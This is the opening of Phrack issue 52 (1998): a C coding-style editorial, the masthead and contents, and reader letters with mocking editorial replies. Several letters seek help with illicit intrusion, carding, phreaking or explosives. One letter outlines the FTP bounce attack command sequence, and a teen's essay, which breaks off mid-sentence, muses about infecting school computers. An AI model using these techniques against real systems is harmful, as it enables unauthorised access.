---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 01 of 20
-------------------------[ P H R A C K 5 2 I N D E X
--------[ Choose your own $PATH adventure
Whew. You would be quite surprised at the evil wheels I had to set in
motion in order to get this issue out. According to Newton, a Phrack Issue
remains at rest or continues to move in a straight line with a uniform
velocity if there is no unbalanced force acting on it. This issue was at rest.
Its velocity was constant. And there were few forces acting on it. Anyhow,
after many machinations it's here. Enjoy.
I have a gripe. Something upon which I'd like dwell for a spell. Let's
talk about coding aesthetic (from the C programming standpoint). Now, this is
not a harangue about effective coding or efficient coding, I'll save those for
some other time (perhaps for the time when I feel I can write effective and
efficient code proficiently enough to vituperate to those who do not). I
want to touch down on a few topics of visual appeal, which are overlooked so
often.
The five major areas I will cover are indentation, brace placement,
use of whitespace, commenting, as well as variable and function nomenclature.
I suppose I should also mention that coding style is a personal preference
type of thing. There are all kinds of schools of thought out there, and all
kinds of methodologies on how to write pretty code. In the grand scheme of
things, none are really any more correct than any others, except mine.
C is, for the most part, a format free programming language. Code can be
written with all manner of whitespace, tabs, and newlines. The compiler
certainly doesn't care. The machine doesn't care. This can be a double
edged sword. There is quite a bit of room for artistic interpretation. And
just like in real life, there is a lot of crappy art out there.
Indenting your code is a must. Please, do this. Indentation is here for
one simple reason: to clearly and unequivocally define blocks of control.
However, 8 space tabstops are overkill. Unless you are using a 2 point font on
a 13" screen, 4 spaces should easily define your control blocks. This allows
you to maintain clarity on an 80 column screen while nesting blocks of control
much deeper then you would with 8 space tab stops. 2 space tabstop advocates
should be shot. However, don't let typography take over your code (ala ink
obscuring the intent). If you have 7 million levels of indentation, perhaps
you should rethink your approach to tackling the problem...
Bracing has a simple solution. The most effective use of bracing is in
placing them on newlines so that they neatly enclose the area of control. This
is especially important with nested levels of control. I know this generates
empty lines. Oh well. They're free. Blocks of control become easily visible
and it is easy to isolate one from another. This goes for functions as well
as conditionals and loop structures. I know I go against K&R here. Oh well.
In the pursuit of clear, readable code, whitespace is your friend. Single
space all keywords and all variables and constants separated by commas. It's
a simple thing to do to drastically improve readability. When you have a
series of assignments, one after another, it's a nice touch to line them up on
the closest relative 4 space boundary. And please, no spaces between structure
pointer operators and structure contents.
Commenting is a delicate matter. Descriptive, concise, well written code
shouldn't really need commenting, or at least very much of it. But this isn't
a rant about descriptive, concise, well written code. If you feel the need
to comment your code, follow a few simple rules:
- Keep the comment block as small as possible.
- Don't tab out your comment frames to line up with each other. That's
just plain fucking annoying. If you're doing that, you have too many
comments anyway.
- Commenting datatype declarations rather then the functions that
manipulate them is usually more helpful.
- If you must comment, keep your style as consistent as possible. If the
commenting detracts from the readibilty of your code, you've just ponied
up any clarification you might have achieved with the commenting.
The major exception to these rules are file headers. The beginning of
source and header files should always have some descriptive information,
including: file name, author, purpose, modification dates, etc... These
comment blocks should always have a simple vertical line of unobtrusive
astricks, framed with the required forward slashes. People using C++ style
commenting in C programs should be drawn and quartered.
The other exception to this rule is when you are writing code specifically
for the benefit of others. If the code is intended to be a learning tool,
copious commenting is allowable.
Variable and function nomenclature should have connotation as to what their
purpose in life is. As short as possible while still preserving some sort of
identity. Descriptive names are wonderful, but don't go overboard. Generally,
a condensed one or two word descriptor (possiblely connected via an underscore)
will work fine. And please, no mixed case. The only time uppercase characters
should appear in C code are in symbolic constants and macros (and possibly
strings and comments).
This tirade is the result of my experiences in reading and writing C code.
In my travels as a stalwart mediocre programmer, I have progressed through many
levels of maturity in my programming style. Much of my old code exhibits many
of the very things eschewed as anathema in this jeremiad. Well, what can I
say? I believe that I have grown. I am at home with the me. This is me
breathing. (Tell me what movie that's from, and I will give you a Phrack
Donut.)
Enjoy the magazine. It is by and for the hacking community. Period.
-- Editor in Chief ----------------[ route
-- Director of Public Operations --[ dangergirl
-- Phrack World News --------------[ disorder
-- Werdsmith ----------------------[ loadammo
-------- Elite --------------------> asriel
-- Santa vs. Jesus ----------------[ ISS vs. SNI
-- Festively Plump ----------------[ Cartman
-- Extra Special Thanks -----------[ No one.
-- Official Phrack CD -------------[ FLA/Flavour of the Weak
-- Official Phrack Drink ----------[ `The C Kilborn` (2.9 parts ketel one,
-----------------------------------| .1 parts tonic)
-- Shout Outs and Thank Yous ------[ Lords of Acid, cantor, Yggdrasil,
-----------------------------------| snokerash, Voyager, TNO, Jeff Thompson,
-----------------------------------| angstrom, redragon, Rob Pike, halflife
-- B.A. Baracus Phrack Fracas -----[ loadammo vs. Death Veggie
-- Original flip.c author (props) -[ datagram
-- Gas Face Given (drops) ---------[ solo, klepto
Phrack Magazine V. 8, #52, January 26, 1998. ISSN 1068-1035
Contents Copyright (c) 1998 Phrack Magazine. All Rights Reserved. Nothing
may be reproduced in whole or in part without written permission from the
editor in chief. Phrack Magazine is made available quarterly to the public,
free of charge. Go nuts people.
Subscription requests, articles, comments, whatever should be directed to:
phrackedit@phrack.com
Submissions to the above email address may be encrypted with the following key:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2tlZGl0QGlu
Zm9uZXh1cy5jb20+tA9QaHJhY2sgTWFnYXppbmU=
=1iyt
-----END PGP PUBLIC KEY BLOCK-----
As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out
plaintext. You certainly can subscribe in plaintext.
phrack:~# head -20 /usr/include/std-disclaimer.h
/*
* All information in Phrack Magazine is, to the best of the ability of the
* editors and contributors, truthful and accurate. When possible, all facts
* are checked, all code is compiled. However, we are not omniscient (hell,
* we don't even get paid). It is entirely possible something contained
* within this publication is incorrect in some way. If this is the case,
* please drop us some email so that we can correct it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for the
* entirely stupid (or illegal) things people may do with the information
* contained here-in. Phrack is a compendium of knowledge, wisdom, wit, and
* sass. We neither advocate, condone nor participate in any sort of illicit
* behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in the
* article of Phrack Magazine are intellectual property of their authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/
-------------------------[ T A B L E O F C O N T E N T S
1 Introduction Phrack Staff 12K
2 Phrack Loopback Phrack Staff 60K
3 Line Noise various 79K
4 Phrack Prophile on o0 Phrack Staff 07K
5 Everything a hacker needs to know about getting busted Agent Steal 72K
6 Hardening the Linux Kernel daemon9 42K
7 The Linux pingd daemon9 17K
8 Steganography Thumbprinting anonymous 35K
9 On the Morality of Phreaking Phrack Staff 19K
10 A Quick NT Interrogation Probe twitch 18K
11 Subscriber Loop Carrier voyager 48K
12 Voice Response Systems voyager 18K
13 Pay Per View (you don't have to) cavalier 19K
14 The International Crime Syndicate Association D. Demming 20K
15 Digital Certificates Yggdrasil 14K
16 Piercing Firewalls bishnu 31K
17 Protected mode programming and O/S development mythrandir 76K
18 Weakening the Linux Kernel plaguez 27K
19 Phrack World News Disorder 64K
20 extract.c Phrack Staff 08K
687K
-----------------------------------------------------------------------------
When Sen. Bob Kerrey (D-Neb.) was asked to define encryption, the results
were horrific. "Well, I mean, to answer your question, I mean, encryption is
-- the political equivalent of encryption is you ask me a question, I give you
an answer and you don't understand it," he managed. "I mean, I intentionally
garble the answer frequently. I intentionally garble the response so that you
can't understand what I'm saying. And that's -- you notice that I've got the
ability to do that."
-----------------------------------------------------------------------------
----[ EOF
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 02 of 20
-------------------------[ P H R A C K 52 L O O P B A C K
--------[ Phrack Staff
[ Ed. note: The letters are perhaps editted for format, but generally not for
grammar and/or spelling. I try not to correct the vernacular, as it often
adds a colorful perspective to the letter in question. ]
0x1>--------------------------------------------------------------------------
[ P51-02@0x14: ...Xarthons submission about Linux IP_MASQ in Phrack 50... ]
In reply to Swift Griggs ranting about my stupidity,
(and disrespekt i recieved from the rest of the AOL community)
Swift: the 'problem' in IP_MASQ which I reported was not meant
to be considered a security problem, rather a notification
of a potential problem, or at least this is what i was told.
i stole this 'problem' from a evil hacker who works for the NSA.
at the time, if i had been aware that the info i ripped from him
was totally false, i would have said so in the letter.
and believe me, if [named_removed] was awake more than 5 minutes
a day i would be severely anal at him for informing me of
this false intelligence.
the main thing the hacker/phracker/aol community needs to
learn from this event is that when giving information to be
ripped, it should be correct. next time ill make sure
to reword the context i have pasted with GPM properly.
btw, i must apologize for the tabs in this letter, pico
has proven difficult to use.
i must go, i have to pry this gerbil off my flacid cock.
thanks, and keep hackin!
xarthon
0x2>--------------------------------------------------------------------------
[ P51-02@0x1b: You have our permission to write r00t on your backpack. ]
That may be the funniest response to a letter I have ever read.
Your response to MICH Kabay was a close second.
The wait was well worth it. I would rather see quality Phrack 2 or 3 times a
yar than crap delivered every 3 months. I have to get back to reading now....
pip (John)
[ Go away Pip, nobody likes you. ]
0x3>--------------------------------------------------------------------------
[ P51-02@0x2c: I have a question regarding a certain piece of hardware... ]
It's a barcode scanner used at some terminals, such as public libraries. You
plug it in between the keyboard and the computer, and when you want to scan in
a barcode from a book being checked out or an item being purchased, you push
the button on the SCANNER and it outputs the barcode in ASCII numeric just as
if it had been typed in from the keyboard. So, now ya know.
Unknown/604
--
d00d, that's a s00p3r s3kr3t CIA, FBI g0vt. c0nspir@cY k3yb0ard f1lt3r!!@@!21
Actually, your mystery device sounds more like the "box" that connects between
the keyboard and a barcode scanner. The "SCANNER" connector is where you'd
plug in a typical "wand" or "gun" barcode reader. Not much you can do with it
by itself, IMO. Again, it might be something else, but that's what it sounds
like to me.
nate@millcomm.com
--
What this sounds like is the interface from one of the wand or
lightgun-type laser barcode readers. These can be seen in action at
some of the retail outlets around here for reading barcodes from
clothing price tags or whatnot. One of those useful inventions that
came out of turning 386's into POS terminals.
It's probably useless without the accompaning wand, but you might keep
it around and try to find the missing part.
wiz
--
[ We received a gaggle of responses to this inquiry. To those of you who sent
in responses, our humblest thanks. ]
0x4>--------------------------------------------------------------------------
Hi!
I need your help!
Tell me, please, where I can found information via Internet
about Carding (Scheme of reader/writer and etc.)
thanks.
Bye.
[ http://www.etexguide.com/cardtricks ]
0x5>--------------------------------------------------------------------------
[ P50-03: Portable BBS Hacking by: Khelbin ]
Dear Phrack,
An old article of mine entitled "Portable BBS Hacking" appeared in Phrack
issue 50 under the line noise section. In Phrack 51, a reader expressed that
he/she was frustrated at not being able to apply the techniques that were
described in my article. Please publish this response in Phrack 52
Let me state right off the bat that "Portable BBS Hacking" was not
written to specifically expose any one software-specific problem. Instead,
the article introduced a potential security threat to all BBS software so that
SysOps around the globe could check for such vulnerabilities and correct the
problem if it was present. A 'mock' Renegade setup was used just because some
software had to be used in order to explain the theory behind the attack.
Now to address the frustrated reader who is obviously aspiring to become
an ever-so-elite BBS-h4x0r! While I often enjoy toking on a crack pipe, this
method was tested prior to writing this article. It was tested on Renegade
04-x quite some time ago (as the article had been written some time ago, but
never published). I currently run FreeBSD 2.2.2, so I havn't been able to do
any more testing to help you hack BBS' and become ph33red. *BUT*, I am sure
that versions of THD ProScan (a utility to scan uploaded files for viruses and
other problems) will foil this attack. I am also sure (just by what I remember
of how Renegade works) that If you follow the steps that I gave you in Phrack
50 correctly, upload a file, and then the SysOp were to (X)tract files from
that file into \temp that it would work. I am also sure that there are other
packages out there other than THD ProScan that do the same thing, but not in a
secure fashion. The methods described in "Portable BBS Hacking" will also work
with these packages. I hope you weren't just having Renegade check the file
integrity with pkunzip -t or just view the contents of the zipfile. Your
response wasn't very specific so it's hard for me to be specific in this
reply however, I can tell that you also enjoy an occasional joint of
crack, so feel free to contact me sometime and we'll smoke!
Yours Truly,
Khelbin Sunvold
0x6>--------------------------------------------------------------------------
Hi,
What program do I have to use in order to read the Phrack Magazine?
Thank you,
Adrian
[ We at Phrack Magazine do not explicitly endorse any particular program,
however, many 12 step programs work wonders: Narcotics Anonymous, Overeaters
Anonymous, Codependency Anonymous, Debtors Anonymous, Beyond Controloholism,
Science Fiction Addiction, etc. Also try:
`gzip -dc phrack.tgz | tar xvf -`. ]
0x7>--------------------------------------------------------------------------
Please allow me to introduce myself. My name is Itai Dor-on and I am a system
integrator From Israel.
[ No introductions are necessary. ]
I got the phrack.com address from one of the subscribers on the
firewalls@GreatCircle.COM mailing list in response to my inquiry on smtp
exploits. (phrack 50)
[ shattered:~/Phrack/50:~> grep -i SMTP * | grep -i exploit
shattered:~>
There are no SMTP related exploits in Phrack 50. ]
I downloaded the file but it seems that it is encoded in a format which I can
not read. I use windows 95/NT. I would like to know if there is a special
viewer for the file.
[ See above letter. ]
Is there other informative information in the phrack.com site that is relevant
to Security exploits in tcpi/ip
[ Phrack 48 - 52 ]
I thank you in advance for any response
Yours Truly,
Itai Dor-on
0x8>--------------------------------------------------------------------------
Phrack is the best magazine of its kind I've ever seen !!! Maybe you could
write something about tapping telephone wires in order to record data and
fax on a portable tape recorder. I've read an article from Damnation that
was pretty good, but maybe you could give me, and the other readers of
course, some additional information. I'm also interested in hacking the
E-mail server of my ISP in order to read my teacher's mail, so what kind of
program do I need to do this ? I know his login but I don't know his
password. I've got a terminal program called Dialog that doesn't seem to
be very useful, but maybe you know a better one ?!? Now, my last question:
I'm using CuteFTP to log on to my homepage's folder . One day I've found
some write protected folders and files, so my question is how do I get
access to these files and how do I go to other folders to which I'm not
allowed to go (hidden,write-protected, etc.) ?
Thank you very much in advance !
Host
[ I had a flame all ready and prepared, but this letter really seems to set
itself on fire. ]
0x9>--------------------------------------------------------------------------
Hey guys, I'm a first time ready and, well duh, first time responder to
yer mag...I must say that I am thoroughly impressed with what you've all
put together...as a Linux user, it shall certainly be a very useful
utility/resource for me...I just nabbed the 51st issue and it rocks thus
far...downloading the other issues as I type this...just thought you might
like to know ya got another reader who is overjoyed at getting off his
lazy ass and finally reading yer mag which i've heard about in the past...
Ezines never were something for me but i said fuckit and went for Phrack..
your mag is the most informative and entertaining Ezine that i've seen to
date (and i been on the 'net for 4+ years now...that might say something)
anyhow, enuf blabber from me, L8!
-GnEaThEg0d
[ Well, thank you very much. ]
0xa>--------------------------------------------------------------------------
I'd like to congratulate Narbo on his brief introduction to CCS7. I
was begining to think that noone was interested in telecommunications
anymore.
[ Agreed. Note that we would very much appreciate further submissions of
this kind. ]
One thing I'd like to add for Phrack's Japanese audience is that they are
the odd balls when it comes to signaling data links. While signaling data
links are 56kbps in North America and 64kbps virutally everywhere else,
Japan uses 4.8kbps links. Actually I guess we, in North America, are
also a little odd at 56kbps but at least it's closer to the norm. :)
-khelbin
0xb>--------------------------------------------------------------------------
Yea, I wanna subscribe to phrack..This is my e-mail
address..noah6@juno.com...Sign me up if I'm writing the right place..if
not..tell me how to subscribe
later
oh yea..I know I'm not supposed to ask..but I don't have internet
access..I could use all the back issues of phrack in one big long letter
if you could..I can't recieve files with this account..so if you could
cut and paste or some shit...
later
[ Sure. Let me get right on that. Even better, what's your postal address?
I'll have the Phrack Tactical Team deployed to your house to come hit you
on the head with a tack hammer because you are a retard. ]
0xc>--------------------------------------------------------------------------
Good issue, by the way...
[ Thanks! ]
So whassup with the Milla pictures? Did you mention them in P51-1 just to
taunt us? How do you get the _non_ASCII version of P51?
You're too cruel... :-)
JSRS
[ Sorry. That Carl's fault. He's new. (Moo. Moo moo.) ]
0xd>--------------------------------------------------------------------------
To the Anti-Christ,
[ Apparently, there was a postal mix-up and we are now getting Satan's mail. ]
When I grow up I want to be just like you.
[ Great! So, I'll see you at the next Klan-youth meeting? ]
That said, can you walk the talk? If so, I have a challenge for you.
[ 'walk the talk'? Note: This is email. Something you've mailed to a
whiley bunch of knuckle-knobs. And quite possibly something that could
be used to make others laugh at your expense. In the future, take the time
to grammar and spell check your letters to minimize the emotional damage
you are bound to suffer. ]
I am a neophyte in the
DarkSide,and need some help catching/avoiding a phreaker,hence the
interest in your mag. He breaks into phone lines at home and work.
Tapes conversations and interjects various rude noises on important
calls. Do you have any ideas as to what I can/should do to protect my
[ Sommy! ]
privacy and catch this guy? If this is not within your realm of
expertise, can you refer me to someone for whom it is?
[ Try the PHONE COMPANY. ]
Don't take my intial inquiry as anythng but an effort to become part
of the hacker/phreaker world for the sake of my own protection. I
[ For your own protection, I suggest NOT becoming part of *any* community.
Live the rest of your life as a hermit inside a hollowed-out oaktree. ]
understand there are many 'good' hackers in your world willing to offer
assistance in this arena.
Your assistance would be greatly appreciated. Thanks.
0xe>--------------------------------------------------------------------------
Sirs,
First,thanks for the obvious hard work that goes into your 'zine.
I guess I'm what you what you would call a "tryin' to be".
I've got all the back issues and read some every day.I was just
reading 51,and had to say that besides all the other great things in the
'zine,it's great to see some people still have a great f*ckin' sense of
humor.
Thanx again,
(to busy trying to learn to have come up
with a cool handle)...R
[ Stop it. I'll get a big head. ]
0xf>--------------------------------------------------------------------------
I am a newbie hacker/freaker/cracker/sometimes anarchist. I have read
some of your first Phrack issues and I LOVED EM! Especially the bomb
making!I am gonna try that stuff when I finally go to my dad's house
later on this year....I wanna blow shit up!! I have a submission that
you are gonna get sooner or later about making the ULTIMATE pipe
bomb....it is REALLY destructive...
THANK YOU
Demonhawk
[ ATTN Deliquent parents: Increase Ritalin by 0.5 mg/Kg. ]
0x10>-------------------------------------------------------------------------
Day in the Life of a Teenage
Hacker:
Story of My Current Non-Life
By:
Demonhawk
I wake up, staring at the ceiling for ten minutes before my mother
finally walks in and says, "Time to get up!" I stand and dress myself. Wearing
the only thing that I can think of that I like, blue jeans and just whatever
shirt looks best at the time.
I go and comb my hair (walking to my mom's end of the trailer house to
use that bathroom because mine doesn't have a mirror, nor a sink, nor more
than 10x10 feet of space). I walk back to my room and get my books ready for
school. The block schedual makes my backpack EXCRUTIATINGLY heavy on B days
while on A days it is light as a feather.
I lay down-most of the time-and go back to sleep. Others I turn my
computer's monitor on and type something for a while (my mom says it is bad to
leave your computer on all night, WRONG! Little does she fuckin' know it is
better to leave it on!). It is time to go to school and my mom drives me to t
he middle school (Connally Middle School) where I go in and play on the
computer suntil school starts (get there 30 mins early).
I go to my first class, still groggy from the little rest I had the
night before while I lay awake in my bed pondering what I could do to the
school's computer system. The recenlty installed network (Novell) was
supposedly student proof (little do they know). I have the software and I
could hack it easy. Crack the passwords that the teachers think they are so
smart to have one that a student can't guess.
I think about the consequences of hacking 'em, then realize that it
would be stupid to hack 'em, after all, I am the only one smart enough on the
computers to hack em. I can crack Windows passwords (easy) with a boot disk
(or even booting into dos).
Last year, I will remember angrily, I remember how I got a bum wrap
for crashing a teacher's computer. I was on it then absent for a week and then
come back to find out all fingers were being pointed at me. I got kicked off
the annual "good kid's" Six Flag trip and that REALLY pissed me off.
Then, as the first period teacher begins to yell something like "Get
to work!" (I am in shop first period) I wake up and realize I had been
thinking. Most of the period I will talk to my friends about hacking (the
two-maybe three-friends I have in that class) and they will ask me computer
questions and I will answer them (and if I don't know an answer I will make
one up, after all, they have no idea how to use a computer to its full
limitations).
After a few more minutes of thinking I realize a virus will be the way
to go. The only problem is putting it on the computer. How? Well, maybe if I
can get access to a teacher's computer while she/he is out of the room. Yeah,
that would be the only way. But the witnesses (who am I kidding the kids up
there would LOVE to see the computers crash, in fact, I have been offered
$$$MONEY$$$ to crash em). I think about the virus idea for a moment. Yeah,
that is the way to do it. First period is over. I move to my second class. It
is a no brainer (on both of the days) and I have a lot of time to plot out my
plan. Trojan Horse. Yes, or maybe Darth Vader...as a calling card. Yeah, that
would be the way to go. The Trojan Horse virus followed up by the Darth Vader
virus. Yes. Well,
I have one of those two. Now lets think here. How to gain access to the
computer at school. The teacher looks at me and tells me to "get to work!"
and I look at him/her and reply, "But I am already finished!" and they leave
me alone. But, maybe I should wait until I am in High School (when the entire
district will have the internet) and I could port in and leave the virus.
Yeah, that would work, I couldn't be blamed since I wouldn't go to the Middle
School any longer. That is a possibility.
I cheat at my math for a while (copying the back of the book for some
easy answers) not because I am dumb, hell no, I am in Algebra I in the 8th
grade for Christ's sake! No, I am just lazy, except when it comes to the
computers. Second period is over.
I walk to my third class of the day, an hour till lunch when I get to
talk to my ENTIRE 5 friends at one time (there are some almost friends in this
group, people I get along with and, yes, on occasion like to hang around with).
You see, I am a "nerd" and proud to be one! Now, this is the thing. I am not
just ANY nerd, I am a nerd with RED hair and fairly THICK glasses with THICK
frames (I want contact lenses that have mirrored silver on the outside but I
am not allowed to have them for some fucking unknown reason).
I do my work, hoping that lunch will come, and eventually it does. I
walk down the halls meeting a friend or two along the way, getting pushed by
hicks that don't think computers are "cool". (Just as something that made
people think I did a speech in Drama class on how computers are gonna crash in
2000 because of the Millenium Bug. One kid almost pissed in his pants when I
told them safty systems on Nuclear power plants might go offline and how that
all cars with electronic timers that shut down until an inspection won't run.
Plus power might go out, I think that made them appreciate computer freaks
like you and me just a LITTLE more since WE are the only ones that can save
them from that hideous fate!!)
I am laughed at because I run and internet Star Wars club (The
Conflict at www.geocities.com/Area51/Zone/9875 ). But they don't laugh when I
tell them I can hack into the school's computers. They look at me dumbfounded
and then make some smart ass remark. I look at them for a second and walk away,
I know they don't understand how much of a computer GENIUS I am. Well, to tell
the truth I am NOT really a computer GENIUS. Well, in some ways I am. I mean I
CRAVE knowledge like I CRAVE food when I am hungry and water when I am thirsty.
I can't get enough computer knowledge, I ALWAYS need more (currently I
am learning C, C++ JAVA, JAVAScript, Visual Basic, and QBasic -------------------------------------------------------------------------
Dear sir,
First off, i think phrack is a wonderful publication, the best of its
kind and better than most, if not all, of the computer related
commercial publications. You and your staff are doing a great job and
please keep up the excellent work :)
[ So, we're better then 2600. Thanks! *That's* the validation we needed! ]
That said, i have a request. I'm writing a paper on the hacking
subculture and such a project would be, to say the least, severely
lacking without the inclusion of groups like Phrack Inc., 10pht, and
[ Phrack is not incorporated. And you mean `l0pht`. ]
r00t. So i would greatly appreciate it if you could fit it into your
[ You are already severely lacking. You failed to mention the guild. You
even forgot b0w. ]
doubtless busy schedule to send me a history of Phrack. It can be as
brief or as in-depth as youd like. From just the date of creation and
pivotal events in Phrack history to a summary of every passing member's
contributions to the publication.. anything you can send will be an
asset to me. Also, if you or any of your staff members would be so
[ I'll get some of my interns right on that. Alhambra! Get to it! ]
gracious and godly-wonderful as to answer the few questions below that
would also be greatly, GREATLY appreciated.
Q: What is your most commonly used handle and why did you choose it?
[ `route`. Cos I thoroughly route my foes. And also cos I route through all
my girlfriends' purses when they are in the bathroom. ]
Q: What is your position at Phrack?
[ I AM PHRACK. ]
Q: When did you realize you were a hacker(or phreaker, cracker,
whatever applies to you)?
[ It is something you are born with. It is not something you learn. There
is no single moment of realization. It is something you just `are`. It
is this unexplicable and inexorable pursuit of knowledge. To learn. To
break. To fix. To push. To optimize. To learn. To hack. ]
Q: What do you think hacking is Really about?
[ Oh c'mon man. Chicks and Money. That's what it ALL boils down to. ]
Q: How do you think the 'scene' has changed, and where would you like
to see it go?
[ See P48-02a ]
Q: If you could say anything to the community at large about hacking,
what would it be?
[ Um. Most of what you people consider hacking is simply a justification or
shield for doing illegal acts. ]
One last thing, do you know where(email, www address, whatever) i
could contact current or former members of 10pht, r00t, or any real
[ Um. Let's see. http://www.l0pht.com. http://www.r00t.org. And so on.
You're not a very smart person. ]
group (ie: not one of the lame new groups trying, unsuccessfully, to
copy the greatness of the older groups)?
Any response, including negation so i can search elsewhere, would be
greatly appreciated. Thank you for your time.
Weaver
0x12>-------------------------------------------------------------------------
Is it possible to "Hide" your ip while on tcp/ip connection
if so how?
Thanx
[ Yes, look into Onion Routing. ]
0x13>-------------------------------------------------------------------------
Hi Phrack-editors,
I'm looking for a good and experienced hacker to hack a German site.
There is enough money involved to satisfy you.
[ My price is quite high. Actually, fuck it. I don't want money. Give me
flesh and fame. Get me some elite movie role where I am the hero and Milla
Jovovich is my love interest. Then we'll talk. ]
I will give your more information with further correspondence.
Please let me know soon if you are interested, (just reply to this
usa.net address), thank you,
Diogenes
0x14>-------------------------------------------------------------------------
I recently read about the ancient ftp bounce attack. I have tried it and
it works on versions of ftp that are lower than wu-2.4.2. Here's what I
do.
[Receiving Machine no system req's except write access]
TYPE I
PASV (Give's IP then port)
STOR
[Sender Machine w/ver 2.4 or lower]
TYPE I
PORT
RETR
[Receiving Machine]
Binary Mode Transfer Started
It then goes on to get the file.
But...
If it is a wu-2.4.2 ver computer, the sender machine says Illegal PORT
Command, when you type the IP and port of the receiving computer. You can
only do a PORT command that includes the IP address that I am coming from.
Sorry to say I don't know how to do any kind of source route or IP
spoofing, although I'd be interested to hear if this was the only answer,
and am not sure if there is a way to get around this.
0x15>-------------------------------------------------------------------------
how can I phreak succsesfully in Germany???
[ The Germans hated me when I was there. I think they hate all Americans.
Something to do with WWII or something I guess. ]
0x16>-------------------------------------------------------------------------
Hello there :)
Probably u don't know who I am ...
[ Definitely. ]
well, I'm an italian boy and I wish to say ya one thing ...
You're Great.
[ Oh. C'mon now... Really? ]
I've just start to reading Phrack (the last issues) and I guess that it's
a very cool wonderful zine.
[ Get out. You think so? ]
Why am I tell ya this ??
Well, since I think that one person is as ya ... well he's great.
[ Now stop that. I'm really getting embarassed. ]
I'm trying to learn something from ya (and I shall overcome .... I hope :) )
I'm interesting in hacking .. but I'm not like some other ppl that always ask
"How can I be an hacker ??" "where I can find something to became root"
I guess that they haven't understood nothing
The REAL HACKER (for me) is an expert, has an etic and he hack to learn
The knowledge is one of the thing most important in the world (the other ones
are the GIRLS =) )
So I won't ask ya how to be an hacker ... (even cause you'll propbably say me
FUCK YOU ;) )
we're so far but maybe one day we could meet :) to share our knowledge
[ Wait a minute. Are you coming on to me? ]
Well, Thanx a lot and excuse me for all the time you spent to read this letter
Excuse me also for my terrible english
[ NP. Luckily Aleph1 was over, so he translated for me (`course, then I
needed someone to translate that, too). ]
Cool and great stuff has Phrack =)
[ Agreed. Great stuff has Phrack. ]
0x17>-------------------------------------------------------------------------
Hi, i noticed that you fixed up your web page, and thats nice, but my
probelm is, that when i downloaded the phrack 51 issue, it came like this :
" phrack51.tar.gz " so,....what kind of program do i use to open it?
Can you just put all issues in zip format? That would help us all!
[ 'Us all'? You are of course refering to the entire moron population.
Phrack does not cater to the morons of the world, sorry. Try 2600. I hear
their target audience is a bit thicker skulled. ]
0x18>-------------------------------------------------------------------------
Hi,
I sent you an email a while back asking you to forward a message to
an author of one of your articles, since he wanted to remain anonymous.
However I never got any reaction either from the author or from you.
It's really important for me that I find him to discuss some
techicalities.
The article was; "How to make your own telecards"
Volume Seven, Issue Forty-Eight, File 10 (and 11) of 18
Did you manage to send the email off to him successfully?
All I want is for him to contact me on this address (raven@swipnet.se).
If he wants to remain anonymous he could easily create an email account
on www.hotmail.com or another service of that kind.
It would be very nice of you to forward this email to the author of
the article and reply to me wether it was sent successfully or if it
bounced back.
thanks
[ This is the best we can do. ]
0x19>-------------------------------------------------------------------------
Hey there... is there any way to get phrack in just one big file instead of
getting it in a lot of separate files? Thanks...
Thanks,
Crystalize
[ `cat phrack* > master_phrack.blob` ]
0x1a>-------------------------------------------------------------------------
im having trouble finding uk phreak iNfOs! can u help me out? im looking 4
bt c7 info and uk payphones. cheers
[ Hrm. I know several Brits who like me tho. And I like them, too. Much
more then the Germans. The .uk girls are waaay prettier too. ]
0x1b>-------------------------------------------------------------------------
HELP> Your the Best I need your help FAST
[ AHM THE BEST!@ ]
I have 2 files in Corel Word Perfect 7.0 that have pass words on them I
need the Fast Can you help? Or know anyone who can?
I'm in the U.S.
[ Great. We're practically neighbors then. ]
I will pay I hear your one of the Best out there :-)
[ AHM THE BEST!@ ]
Melissa
P.S.I need to try to get these by Sun. Night I can e-mail them to you?
[ Hrm. `Melissa` huh... Hrm.. You'd better bring them over, this could
take a while. ]
0x1c>-------------------------------------------------------------------------
Just wondered why everyone raves about PGP, even thogh it's breakable.
[ What the hell are you talking about? ]
Is it possible to by-pass 'Proxy blocks' on an internet connection? The local
iNet connection has blocks on all hack/warez sites whereby when you try and
access them you get a 'You're trying to access a filtered URL' message. I
figured it would be possible to re-route the conneciton but haven't a clue
how.
[ Shure. Try some covert tunneling via IP fragmentation or IP-IP. ]
Also, how do you find out all this stuff about tapping phones, cell-net
busting and telephone, errr, dabbling?? Do you research it yourself or just
accumulate it form others?
[ Everything I know about phones is self-taught. ]
Many thanks,
Denyerec
0x1d>-------------------------------------------------------------------------
Hi,
I've been reading a-lot of phrack zines lately and seeing your name
in most of them, I thought your the best to answer my questions ???
To become a hacker where do I start ?
[ New Zealand. Or at least as far away from CA as possible. ]
What books should I read ?
[ Anything by Stevens/Knuth or any of the millions of smarter-then-you people
out there. It's a safe bet that, if they wrote a book, they're smarter then
you. Very safe bet. Like, Fort Knox safe. ]
What languages do I have to learn ?
[ English is a good start. ]
Which sites are the best to go to for information on hacking
(including newsgroups) ?
[ Anything in the alt.* hierarchy is a good plan. It's ALL *choice*
material. ]
I've only started hacking and that's into applications on my
computer and my friends computers.
[ That's nice. ]
I hope I'm not bothering you with this message.
[ No bother at all. I'm shure you've made someone smile, somewhere. ]
0x1e>-------------------------------------------------------------------------
Dear Phrack,
I'm looking for a phreak to work in France and I couldn't find such
informations on the Net; so, is there any chance that blue box may work in
France, or the Phoney app which comprise red, bleu, green, and black boxes,
and if so it is, how does it work ?
Also, there is any site on the Net where I can find informations and tools
